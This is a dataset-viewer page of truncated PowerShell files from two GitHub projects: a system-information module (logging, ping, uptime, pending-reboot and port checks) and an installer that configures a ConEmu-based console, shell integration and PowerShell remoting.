.PARAMETER Log... |
PowerShellCorpus/Github/mskccdanielm1_PSSystemInfo/Private/Write-LogWarning.ps1 | Write-LogWarning.ps1 | Function Write-LogWarning {
<#
.SYNOPSIS
Writes warning message to specified log file
.DESCRIPTION
Appends a new warning message to the specified log file. Automatically prefixes line with WARNING:
.PARAMETER LogPath
Mandatory. Full path of the log file you want to write to. Example: C:\W... |
PowerShellCorpus/Github/mskccdanielm1_PSSystemInfo/Private/Write-LogError.ps1 | Write-LogError.ps1 | Function Write-LogError {
<#
.SYNOPSIS
Writes error message to specified log file
.DESCRIPTION
Appends a new error message to the specified log file. Automatically prefixes line with ERROR:
.PARAMETER LogPath
Mandatory. Full path of the log file you want to write to. Example: C:\Windows\T... |
PowerShellCorpus/Github/mskccdanielm1_PSSystemInfo/Private/Get-Extension.ps1 | Get-Extension.ps1 | function Get-Extension {
Param(
[Parameter()]
[string]
$ExportPath
)
[string]$Extension = ($ExportPath[-4..-1])
$Extension = $Extension.Replace(" ","")
if ($Extension -eq "xlsx" -or $Extension -eq ".xls" -or $Extension -eq ".csv" -or $Extension -eq ".txt") {
... |
PowerShellCorpus/Github/mskccdanielm1_PSSystemInfo/Private/Stop-Log.ps1 | Stop-Log.ps1 | Function Stop-Log {
<#
.SYNOPSIS
Write closing data to log file & exits the calling script
.DESCRIPTION
Writes finishing logging data to specified log file and then exits the calling script
.PARAMETER LogPath
Mandatory. Full path of the log file you want to write finishing data to. Exampl... |
PowerShellCorpus/Github/mskccdanielm1_PSSystemInfo/Private/Start-Log.ps1 | Start-Log.ps1 | Function Start-Log {
<#
.SYNOPSIS
Creates a new log file
.DESCRIPTION
Creates a log file with the path and name specified in the parameters. Checks if log file exists, and if it does deletes it and creates a new one.
Once created, writes initial logging data
.PARAMETER LogPath
Mandat... |
PowerShellCorpus/Github/mskccdanielm1_PSSystemInfo/Private/Invoke-Ping.ps1 | Invoke-Ping.ps1 | Function Invoke-Ping
{
<#
.SYNOPSIS
Ping or test connectivity to systems in parallel
.DESCRIPTION
Ping or test connectivity to systems in parallel
Default action will run a ping against systems
If Quiet parameter is specified, we return an array of systems that responded
If... |
PowerShellCorpus/Github/mskccdanielm1_PSSystemInfo/Public/Get-PendingReboot.ps1 | Get-PendingReboot.ps1 | Function Get-PendingReboot
{
<#
.SYNOPSIS
Gets the pending reboot status on a local computer. Return
.DESCRIPTION
Queries the registry and WMI to determine if the system waiting for a reboot, from:
CBServicing = Component Based Servicing (Windows 2008)
WindowsUpdate = Windows U... |
PowerShellCorpus/Github/mskccdanielm1_PSSystemInfo/Public/Get-Uptime.ps1 | Get-Uptime.ps1 | Function Get-Uptime {
param (
[Parameter(Position=0,ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)]
[String[]]
$ComputerName="$env:COMPUTERNAME",
[Parameter()]
[System.Management.Automation.PSCredential]
[System.Management... |
PowerShellCorpus/Github/mskccdanielm1_PSSystemInfo/Public/Test-Port.ps1 | Test-Port.ps1 | Function Test-Port {
[cmdletbinding(
DefaultParameterSetName = '',
ConfirmImpact = 'low'
)]
Param(
[Parameter(
Mandatory = $True,
Position = 0,
ParameterSetName = '',
ValueFromPipeline = $True)]
[array]$Computer,
[Parameter(
... |
PowerShellCorpus/Github/mskccdanielm1_PSSystemInfo/Public/Get-ServerStatus.ps1 | Get-ServerStatus.ps1 | <#
.SYNOPSIS
Get-ServerStatus.ps1 - Test network, RPC, and RDP connections, as well as gathering uptime and
pending reboot status against one or more computers.
.DESCRIPTION
Get-ServerStatus.ps1 - Test an RPC connection (WMI request) against one or more computer(s)
with test-connection before to ... |
PowerShellCorpus/Github/naeemkhedarun_Console/Install/Scripts/Install.ps1 | Install.ps1 | [CmdletBinding()]
param (
[Parameter(Mandatory=$true,ParameterSetName="PreReqCheck")][switch]$PreReqCheck,
[Parameter(Mandatory=$true,ParameterSetName="Mixed")][switch]$Mixed,
[Parameter(Mandatory=$true,ParameterSetName="Specific")][switch]$Specific
)
Set-StrictMode -Version Latest
$global:MessageScope = ... |
PowerShellCorpus/Github/naeemkhedarun_Console/Install/Scripts/Prerequisites Check.ps1 | Prerequisites Check.ps1 | $installedPrograms = & { if ([System.Environment]::Is64BitOperatingSystem) {
@(
'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*'
'HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*'
... |
PowerShellCorpus/Github/naeemkhedarun_Console/Install/Scripts/Mixed Platform/Update Help.ps1 | Update Help.ps1 | Invoke-InstallStep "Updating help" {
Update-Help -Force
} |
PowerShellCorpus/Github/naeemkhedarun_Console/Install/Scripts/Mixed Platform/Sublime Text Shell Integration.ps1 | Sublime Text Shell Integration.ps1 | Invoke-InstallStep "Configuring Sublime Text Shell Integration" {
$sublimeExecutable = Join-Path $InstallPath "Third Party\Sublime Text\sublime_text.exe"
$sublimeLauncher = Join-Path $InstallPath "Third Party\Sublime Text\SublimeLauncher.exe"
$sublimeIcon = Join-Path $InstallPath "Third Party\Sublime Text\sublime... |
PowerShellCorpus/Github/naeemkhedarun_Console/Install/Scripts/Mixed Platform/Profile Hook.ps1 | Profile Hook.ps1 | Write-InstallMessage -EnterNewScope "Configuring Profile Hook"
Invoke-InstallStep "Setting up PowerShell Profile Directory" {
$profileFolder = Split-Path $PROFILE.CurrentUserAllHosts -Parent
if (!(Test-Path $profileFolder)) {
New-Item $profileFolder -Type Directory -Force | Out-Null
}
(Get-Item $profil... |
PowerShellCorpus/Github/naeemkhedarun_Console/Install/Scripts/Mixed Platform/Create PowerShell Scripts Folder.ps1 | Create PowerShell Scripts Folder.ps1 | Invoke-InstallStep "Creating PowerShell Scripts Folder" {
$userScriptsFolder = Join-Path ([System.Environment]::GetFolderPath("MyDocuments")) "PowerShell Scripts"
if (-not (Test-Path $userScriptsFolder)) {
New-Item $userScriptsFolder -Type Directory -Force | Out-Null
}
$includeFile = Join-Path $userScripts... |
PowerShellCorpus/Github/naeemkhedarun_Console/Install/Scripts/Mixed Platform/PowerShell Remoting.ps1 | PowerShell Remoting.ps1 | Invoke-InstallStep "Enabling PowerShell Remoting" {
Enable-PSRemoting -SkipNetworkProfileCheck -Force | Out-Null
Enable-WSManCredSSP -Role Client -DelegateComputer * -Force | Out-Null
Enable-WSManCredSSP -Role Server -Force | Out-Null
} |
PowerShellCorpus/Github/naeemkhedarun_Console/Install/Scripts/Mixed Platform/Accept Sysinternals EULA.ps1 | Accept Sysinternals EULA.ps1 | Invoke-InstallStep "Accepting Sysinternals EULA" {
$sysinternalsDir = Join-Path $InstallPath "Third Party\Binaries\Sysinternals"
New-Item "HKCU:\Software\Sysinternals" -Force | Out-Null
Get-ChildItem $sysinternalsDir -Filter *.exe | % { $_.BaseName } | % {
New-Item "HKCU:\Software\Sysinternals\$_" -Force |... |
PowerShellCorpus/Github/naeemkhedarun_Console/Install/Scripts/Mixed Platform/Console.ps1 | Console.ps1 | Write-InstallMessage -EnterNewScope "Configuring Console"
$conEmuExecutable = Join-Path $InstallPath "Third Party\Console\ConEmu64.exe"
$conEmuCommandIcon = Join-Path $InstallPath "Support Files\Icons\CommandPrompt.ico"
$conEmuPowerShellIcon = Join-Path $InstallPath "Support Files\Icons\PowerShellPrompt.ico"
$s... |
PowerShellCorpus/Github/naeemkhedarun_Console/Install/Scripts/Mixed Platform/Cmd QuickEdit Mode.ps1 | Cmd QuickEdit Mode.ps1 | Invoke-InstallStep "Cmd QuickEdit Mode" {
New-ItemProperty "HKCU:\Console" "QuickEdit" -Value 1 -Type DWord -Force | Out-Null
} |
PowerShellCorpus/Github/naeemkhedarun_Console/Install/Scripts/Mixed Platform/Console/Console Shell Integration.ps1 | Console Shell Integration.ps1 | @(
@{Name = "Open PowerShell"; Command = """$conEmuExecutable"" /cmd powershell.exe -cur_console:n"; Icon = $conEmuPowerShellIcon; },
@{Name = "Open PowerShell (Administrator)"; Command = """$conEmuExecutable"" /cmd powershell.exe -cur_console:na"; Icon = $conEmuPowerShellIcon; },
@{Name = "Open Command"; ... |
PowerShellCorpus/Github/naeemkhedarun_Console/Install/Scripts/Mixed Platform/Console/Console Visual Studio Integration.ps1 | Console Visual Studio Integration.ps1 | Invoke-InstallStep "Configuring Console Visual Studio Integration" {
New-Item "HKCU:\Software\Microsoft\VisualStudio\11.0\DialogPage\GrzegorzKozub.VisualStudioExtensions.ConEmuLauncher.Options" -Force | Out-Null
New-ItemProperty "HKCU:\Software\Microsoft\VisualStudio\11.0\DialogPage\GrzegorzKozub.VisualStudioExtens... |
PowerShellCorpus/Github/naeemkhedarun_Console/Install/Scripts/Mixed Platform/Console/Pin To Start And Taskbar.ps1 | Pin To Start And Taskbar.ps1 | Invoke-InstallStep "Setting up Console Start Shortcut" {
$WshShell = New-Object -ComObject WScript.Shell
$consoleShortcut = $WshShell.CreateShortcut((Join-Path ([Environment]::GetFolderPath("StartMenu")) "Console.lnk"))
$consoleShortcut.TargetPath = $conEmuExecutable
$consoleShortcut.IconLocation = $conEmuPower... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.